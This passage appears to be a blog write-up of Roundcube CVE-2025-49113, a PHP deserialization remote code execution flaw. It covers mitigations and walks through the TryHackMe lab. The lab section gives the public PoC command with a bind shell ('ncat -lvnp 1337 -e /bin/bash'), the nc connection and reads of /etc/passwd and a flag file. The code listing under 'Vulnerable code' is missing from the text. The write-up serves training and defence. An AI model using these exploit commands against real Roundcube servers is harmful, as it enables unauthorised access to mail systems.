2 – Where the problem was

Vulnerable code (1.6.10)

The _from input arrives complete from GET then becomes part of a session node name and
during the first append(), Roundcube does:

If the file exists, RCE worked.

3 – Mitigations

1. Update immediately to ≥ 1.6.11 or ≥ 1.5.11.

2. If you cannot update, block any _from containing %22, %7C, !, . or control bytes via WAF, firewall or rewrite.

3. Disable dangerous functions (proc_open, exec, etc.) in php.ini.

4. Block uploads in the settings panel and monitor logs.

4 - Lab - TryHackme - WriteUp

Free Room: https://tryhackme.com/room/roundcubecve202549113

Created by tryhackme & strategos

1. Recon

1. Open the VM (MACHINE_IP) and the AttackBox.

2. Access http://MACHINE_IP/roundcube with:

   user: ellieptic password: ChangeMe123

   This will work and log in normally:

   

2. Set up the exploit

After verifying everything is up, we will run the exploit. To do this, we access the PoC posted on github mentioned earlier and do a git clone:

3. Prepare the payload

Using the payload is simple, just create the bind shell and point it to a port with the .php file following the usage below:

php CVE-2025-49113.php <site> <user> <password> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– The script logs in, injects the malicious PHP object into the _from parameter, as we said earlier, calls the upload.php endpoint and then forces logout to trigger
session_decode() → unserialize() → proc_open().

Sometimes it shows a CSRF error; ignore it and proceed to the next step,
because the command usually gets executed anyway.

4. Connect to the shell

If the bind shell worked, it is listening on port 1337 we specified, just connect to it now:

nc MACHINE_IP 1337

Shell obtained.

5. Answering the questions

Questions and answers

1. User Maggie
   Question: One of the users has the first name Maggie. What is her last name?
   Answer: Byte

To solve this question we could cat /etc/passwd grepping for maggie's user, or simply doing an ls in /home

2. Flag in /etc
   Question: What is the value of the flag saved in /etc?
   Answer: THM{ICE_CUBE_DESERIALISATION}

To solve this, I did a cat /etc/flag* and luckily the file name was flag and with that we were able to capture it.

5 – References

• Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

• Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

• FearsOff write-up – https://fearsoff.org/research/roundcube

• OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

• TryHackme - TryHackMe | Roundcube: CVE-2025-49113

• GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com